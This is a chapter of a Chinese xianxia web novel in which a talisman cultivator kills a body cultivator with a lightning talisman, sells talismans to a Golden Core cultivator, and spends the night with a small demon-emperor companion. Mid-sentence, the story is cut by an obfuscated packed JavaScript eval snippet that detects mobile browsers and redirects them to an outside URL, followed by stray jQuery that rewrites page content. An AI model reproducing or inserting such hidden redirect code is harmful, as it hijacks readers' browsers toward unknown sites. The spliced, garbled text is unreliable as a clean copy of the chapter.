薛弃踩在窗框上,俯视那个平平无奇的符修。
“你今夜必死,速说遗言。”他的神情平淡,只是在陈诉一件无关紧要的事实,“金丹之下,体修无敌。像你这样的符修,我都不知道捏死过多少个。”
沉墨清淡定地把怀中冒头的雪白小兽摁了回去。
金丹之下,体修无敌——是因为修行者未到金丹,躯体还未经过天道淬炼,彻底超凡脱俗。而体修炼体,凭借强横的体魄,对于“凡俗”身躯有更大的碾压优势。
境界越高,体修的威慑越低,相反,境界越低,体修威慑越高。
“阁下既无遗言,便指个故乡吧。”薛弃背负双手,微风吹起他的下摆,“到那时,我会将你的遗体送回去——”
话还没说完,薛弃一拳挥出!
“也算魂归故里!”
客栈墙壁根本无法承受住这一拳的力量,无数砖石与碎木飞溅,一整面墙坍塌的轰鸣惊动长街——整个青竹城却死寂一般,无一盏灯火亮起。
碎石摔洒长街,一道人影脚尖点住石块,于半空稳稳落地,正是薛弃。
他单手握住右腕,眼神惊疑不定。
金丹体魄?!
那人明明只是炼气修为……不对!就算是金丹法修也不可能在毫无防备的情况下正面接住他的全力一拳!又不是剑修!
乌云散尽,圆月高悬,月光洒落半侧长街,剩下半侧沉没阴影。
年轻的黑衣修士单手掐诀,散落乌发自然束成高马尾,从阴影中一步步踏出,踩住一线分割昼暗的月光。
那一刻,薛弃好像看见了一柄剑,一柄千锤百炼,寒芒出鞘的惊世之剑。
夜风吹拂玄色衣袍,年轻修士左手背负身后,右手伸前,修长而骨节分明的手指平摊向上,遥对薛弃。
——请赐教。
今夜的月光,格外明亮。
有轰隆的雷鸣沿着长街不断炸响,却无落雷降下。
薛弃双臂格挡在脸前,灵气流转,不断抵御疾风骤雨般的攻击,心惊不已,早已没了刚开始的轻松。
就算用了什么法宝强行提至金丹体魄,硬碰硬起来,终究还是他这个专攻炼体的半步金丹略胜一筹——可为何这个人的战斗手段也远胜于他?!
他薛弃拼杀到今天,捏死过不知多少符修,怎么到头来反而不如这个炼气小儿能打?!
又是一拳击中手臂,排开山海的力道几乎撕裂体修坚硬的皮肉,薛弃双臂剧痛,身体被力道冲得后仰。
血花飞溅,他睁大的瞳孔里映出一双眼睛——清冽的月光,也照不进那双寒潭般的眸底。
那是一双见过无数生死杀伐的眼睛。
……这个人,绝对比他杀过更多的人!
忽有烈火燃起,火蛇般撕咬身躯。薛弃面色大变,一副无法应对的慌乱模样,等沉墨清近身,他猛然一拳撞开火焰,连带着汹涌气浪将沉墨清逼退三步,才见薛弃被焚烧的衣服露出胸口一块软甲——那道一品火炎符对他毫无作用。
自觉终于赢下一局,薛弃冷笑一声:“这等专克法术的宝物,用来对付你这种低级符修正好!”
话还没说完,一记重拳砸中他腹部,将他轰飞数丈,撞断一棵柳树。
他眼前一黑,还没来得及起身,一只黑靴踏上胸口,靴间装饰的银链微微晃荡,勾勒出流畅漂亮的小腿弧度,千钧力道,压得薛弃当场呕出一大口血。
他震颤的瞳孔中,那个年轻的黑衣修士居高临下地俯视他,靴底碾过软甲,软甲出现丝丝裂痕。
“免疫法术,却扛不住外力,物随其主,绣花枕头。”
薛弃呕血不止。
打架就打架,怎么还骂人!还骂得如此难听!
然而,就算满腔怒火,他也只能被那人踩在脚下,无法爬起。
沉墨清的眼眸古井无波,袖袍下的双手已鲜血淋漓,隐见白骨。
这双手曾拧断过无数魔族脖颈,此刻对战一个伪丹修士,却已伤痕累累。
他直接取出第二张火炎符,符箓上亮起的微光,微微照亮了那双漠然的眼眸。
“不……我,我答应过少爷……绝不会失手……”
薛弃的眼神已经开始涣散,嘴里喃喃,像是说起了胡话。
“若非家主赏识,薛某早已成为野狗口中餐,若非少爷赐下丹药,我已是坟中枯骨……知遇之恩,救命之恩,不能不报!”
他忽然牙关用力,像是咽下了什么东西——下一秒,他的额头青筋暴起,五指成爪,抓向身上之人。
沉墨清眉头一挑,身形急退,衣摆翩翩飘起,已落定屋檐之上,背对一轮圆月。
圆月之下,薛弃嘶吼一声,拖着泥污的身躯缓缓爬起,种种回忆涌上心头,遇明主的感动,和恋人的相识,杀人的快感,都给予了他新的力量。
这一刻,他已然萎靡的气息迅速暴涨,耗尽的灵力再度恢复,重归筑基大圆满——甚至离结丹不再只差半步,而是只差最后一丝!
我不会倒下!不会败!
此刻,登天为金丹!
我要你死——!!
薛弃狞笑着抬起了头——
看见了一轮新月。
那是一道银白符纸,高悬于空,皎洁如新生的弯月。
月光尽洒沉墨清周身,为他飘扬的乌发与衣袍镀上一层银辉白霜,最终沉没于那双清泠的乌沉眼眸。
“废话真多。”他淡漠的嗓音自高处降下,“和天雷说去吧。”
惊雷符,现!
刹那之间,无数炽烈的银白雷霆横跨黑夜,撕裂圆月,于沉墨清指尖凝成璀璨的万千剑光。
薛弃:“……”
他妈的忘了这是个符修!!
雷从天降,万钧之势!
滂湃汹涌的雷瀑之下,薛弃只来得及说出一句:“你不能杀我!少爷和家主不会放过——”
沉墨清风轻云淡的声音淹没在雷霆声中:“奈何桥上等一等,还有故人。”
筑基大圆满,命陨当场,魂飞魄散。
地上只剩下一抹焦黑乌痕,以及一个储物袋。
沉墨清随意一扬手,薛弃的储物袋飞至他面前,神识已消,是无主之物。
一只雪白小兽踏着月光而来,飞快跳上沉墨清手臂,绒毛小爪子紧紧抓住他的袖子。
小毛绒球没什么重量,沉墨清手臂横悬,苍舜盯着他受伤流血的手指,一声不吭地埋下脑袋,舔了舔他的指尖。
沉墨清没有收回手指,只觉指尖微微一凉,似有凉意穿行经脉,伤势顷刻复原。
他刚要道谢,就看见这只白蓬蓬的小毛绒球一屁股坐在他手上,睁着圆溜溜的兽瞳瞪着他。
“咪!”
【为什么不让我出手?】
他一直旁观战局,知道那个蝼蚁不是沉墨清的对手——但,若他出手,他根本不会受伤。
结果这个人不让!
【你又不是剑修,非要和体修硬碰硬吗?】
【现在只是受点伤,下次呢?】
苍舜好像很不高兴的样子,爪子来回轻踩沉墨清手臂,一直在他耳边嘀嘀咕咕。
沉墨清取出一块灵石给这只妖皇玩。
苍舜不玩,跳到沉墨清肩上,又一下一下挠他肩膀。
轻飘飘的,没用一点力气。
沉墨清就把那块灵石轻轻放到雪白小兽的脑袋上,圆润灵石陷进了一堆软软的绒毛里。
“多谢。”
苍舜头顶灵石,闷着脸一动不动。
沉墨清的神识投入储物袋中,片刻后,微微挑眉。
薛弃家底颇丰,储物袋内居然有足足五千块灵石,几件低品的武器法宝,以及——一些残肢断手。
以特殊的方法封存,使其不腐的的残肢,无一例外都是截断的右手,大多属于老人,少有成年男女——还有几条明显来自少年少女的手臂。
显然,这就是薛弃过去的对手,是他引以为傲的“藏品”。
沉墨清将灵石全部取走,收起储物袋,转身。
“小友,请留步。”
一道朗朗女声响起,有风袭来,圆月之下,一位蓝衣的白发女子已站在夜幕之中。
她面带微笑,流转的气息并不压迫,反而十分亲和。
——金丹中期。
微风拂过沉墨清垂落的黑色衣摆,他的肩上,用爪子抱住灵石的雪白小兽随意一瞥,无聊地转过脑袋。
对于这个突然出现的金丹中期,沉墨清脸上并无意外之色:“阁下早已在此,现在现身,有何指教。”
“小友别生气,若刚才薛弃真能杀你,我一定会出手。”那白发女子笑道,“若我知道你最后要动用那道惊雷符,我必帮你杀他。”
雪白小兽又开始扒拉沉墨清垂在肩头的几缕乌发,沉墨清淡定按住那只毛茸茸的小脑袋:“阁下与他有仇?”
“柳家养的一条疯狗,我和他无仇无怨,只可惜了一张二品巅峰的好符。”
白发女子背负双手,仅一步便跨越数丈距离,出现在沉墨清身前。
“其实,他最后服用了逆元丹,牺牲寿元透支修为,本也活不了多久。”
沉墨清语气平静:“仇怨已结,唯以死消。”
白发女子笑而不语。
这个年轻修士明明有种静若松竹的气质,行事却过于狠厉,颇具魔修风范。
以炼气巅峰力压筑基大圆满,何等惊世骇俗,只怕这身修为也是假的。
她斟酌片刻,还是开口:“我听闻白日有人来千玄阁闹事,使位贵客未能达成交易。若小友那里还有二品符箓,我愿意收购。”
话音刚落,她就发现那位年轻修士看她的眼神似乎不一样了,如沐春风,令人十分舒适。
“的确有。”
沉墨清手腕一翻,一张银白符箓已夹于修长指间。
白发女子这次倒是真的微微惊讶了。
——第二张二品惊雷符。
九成九品相!
白发女子意念一动,银白符箓已飘至面前,只一眼,她的眼神就发生了变化。
“这张符是你炼制的。”她肯定道。
沉墨清颔首。
白发女子眼眸剧震:“你的修为止于炼气巅峰。”
这一眼,沉墨清便知道她是个道行不浅的符修,依然颔首:“是。”
白发女子感受着符箓的气息,再看沉墨清,仿佛发现了绝世的什么天材地宝,当下站不住了,背负双手,围着沉墨清转了一圈又一圈。
然后她就被这个年轻符修肩上的雪白小兽瞪了一眼,又一眼。
“白某也算见多识广,然,仅炼气修为就能炼制出二品巅峰的符箓,小友还是我见过的第一人。”
二品符箓并不少见,但近乎十成的品相实在难得,这意味着炼符之人的符道造诣极高——出现在一个炼气修士上,更是天方夜谭。
白发女子的话语中是毫不掩饰的震惊和欣喜,言末又叹了声可惜。
可惜,这道惊雷符只是九成九的品质,离十成还差一步——并不是这个年轻修士的问题,而是在符纸之上。
符纸只是寻常黄纸,若用更上等的云丝纸绘就,便是完美的十成品质。
不过,上等符纸本就昂贵,若非世家大宗,也不会如此奢靡,仅用来绘制二品符箓。
“我今夜未带足灵石,不如小友明日来千玄阁找我白玥,我必焚香煮茶以待。”
沉墨清:“算了,太过麻烦。”
白玥语气深长:“这二品惊雷符,我愿意以三千两百灵石收购,小友这里有多少,我收多少。”
沉墨清的笑意如清风朗月:“明日,我会来拜访前辈。”
苍舜扭头:“?”
白玥哈哈一笑:“不必戒备我,若我真想对小友做什么,何必那么复杂。”
她一挥手,无数符文飞出,如星子洒落长街。
刹那间,原本因为方才战斗而损毁大半的长街皆复位原状,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060025|179173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面被薛弃砸碎的客栈墙壁也完好如新。
白玥再对沉墨清微微一点头,脚踩符文,如踩着星辰长道,留下一道飘然离去的背影。
潇洒,真是潇洒。
白玥头也不回,嘴角不住上扬。
不枉我练习了这么久。
——
重回客栈时,老板只当什么都没发生,沉墨清给了一袋灵石算作补偿,又让重新上了一桌菜。
苍舜无动于衷地趴在桌子上,无动于衷地盯着面前那盘炸得酥酥脆脆、金黄可口、撒满细碎椒盐的小鱼干。
沉墨清转身,面朝窗外。
几秒后,淡然地转回来。
雪白小兽叼着一根小鱼干,嚼嚼嚼。
味道不怎么样。
平平无奇。
也不是很喜欢。
两三口吃掉一根,又飞快地叼起下一根。
沉墨清坐在桌边,取出一叠空白符纸。几缕乌发绸缎般滑过肩侧,浸透窗外的皎洁月色。
雪白小兽叼起第三根小鱼干,一屁股坐在他手边。
【你缺灵石?】
沉墨清:“嗯。”
【为什么不卖我的毛?】
听见这自然而然的语气,沉墨清低头,伸手摸了一把雪白的小毛绒球:“不卖。”
苍舜没吭声。
过了两秒,若无其事地叼了根小鱼干,放到沉墨清掌心。
沉墨清轻咬一口,椒盐过重,不如年少时教他念书的夫子炸来下酒的佐食。
他手指轻敲桌面,储物袋倾泄出所有灵石,在夜色中铺开莹润的浅色光幕。
再取出一叠符纸,双指为笔,全神贯注,二品惊雷符,几乎一笔而成。
转眼间,旁边的灵石少了一小堆。
终究还是修为限制,若他能跨过筑基,再炼符箓,灵力消耗也会少很多。
苍舜抱住一小块发光的灵石,状似很不经意地开口:【你要炼符,也可以用我的毛】
【反正,你一下子就能炼化】
换作旁人,哪怕是大乘修士,也不可能炼化他的东西。
偏偏这个人……
苍舜的下巴搁在灵石上,一眨不眨地偷瞄了眼身边的人。
沉墨清温声道:“若事事都借外力,也不必修行了。”
诚然,以妖皇的皮毛炼化符箓是条通天捷径,但修行一道最忌捷径,他更愿意以自己的力量,走出一条大道。
况且,这只妖皇也不是天天掉毛的。他收集的那些皮毛总有耗尽之时——之后若非生死一线的绝境,他不会动用。
若有一日,苍舜要收回自己的东西,他也会还给他。
苍舜不吭声了。
他为什么不要我帮他?
雪白小兽一动不动地窝在沉墨清手边,似乎在想心事,是只若有所思的小毛绒团。
过了两秒,沉墨清听见一道低沉男声:
【这里坏人太多,下次,我不会远离你了】
沉墨清笑了起来:“我不会死的。”
他知道,这只妖皇是担心有契约的存在,他身死后,会连累他受到重创。
受制于人,普通人尚且难以忍耐,更何况生性骄傲的大妖。
等他修为再进,就研究出解开他们之间的契约之法。
苍舜并不知道沉墨清的想法,心情似乎好了起来,叼着小鱼干,在他身边溜溜达达。
下一张符并非二品惊雷符,而是一品落雷符。
炼符一道,哪怕是高境大能也有失败的概率,和熟练度无关,纯粹是天意。
沉墨清并不意外,符纸放在旁边,被一只毛茸茸的爪子踩住了。
“咪呜。”
【这个,我买了】
雪白小兽仰起下颌,抖下了几根细长如雪的毛毛,飘落在符纸上。
沉墨清:“……”
他的手指轻轻捏住符箓边缘,往外抽了抽,抽不动。
苍舜倨傲地踩住符箓,气势汹汹,霸气威严,仿佛脚踩的不是一张便宜符纸,而是偌大的修真界。
沉墨清拿起刚才炼成的二品惊雷符:“不如用这个换。”
苍舜扭过脑袋。
【不要,我就喜欢这个】
沉墨清沉默片刻,摸摸那只毛茸茸的小脑袋:“多谢。”
尊贵的妖皇哼哼一声,爪子扒拉起那张符纸,往空中一丢,符纸随即隐没不见。
耗费半夜时间,沉墨清共炼出四道惊雷符,两张落雷符,还有一张当场失败,爆出的细碎雷光不慎把正巧挨着他手边舔毛的妖皇陛下给炸了一下,全身毛毛一下子炸蓬了。
在妖皇大声的咪呜抗议声中,沉墨清淡定地把这只蓬蓬的大毛绒球抱在腿上,顺着毛摸了几把,又亲手给他喂了几根小鱼干,总算是把炸成蒲公英的妖皇哄顺了下去。
月光微黯,后半夜,沉墨清在床上打坐修炼。
一只雪白小兽在他垂落床铺的衣袍间踩来踩去,有时翻滚扑腾,有时伸长爪子摊平身躯,一会是只圆滚滚的糯米团子,一会是白白的长年糕条。
过了一会,这只小绒毛球静悄悄地贴在沉墨清衣袍边,轻轻挨着他。
又了一会,小绒毛球软软地趴在他的腿上。
再过一会,小绒毛球活泼地在他肩上扑通。
最后,小毛绒球嚣张地爬到了他的头顶,到处蠕动。
沉墨清全神贯注,静坐不动,如破岩而出的无风之竹。
苍舜从他头顶探下脑袋,这个角度可以看见那人的乌发拂落侧脸,纤长眼睫在白皙肌肤间打下轩窗竹叶般的阴影。
虽然是易容,但他记得这个人原本的脸上,眼睫还要更密一些,更弯翘一点点。
下意识的,苍舜伸爪,摸了摸他的眼睫。
沉墨清:“……”
他淡定地捏住某只妖皇尊贵的后颈皮,把这只大声咪咪呜呜的小毛绒球一把塞进被子里,卷巴卷巴,裹成了一坨小粽子。
世界清净了。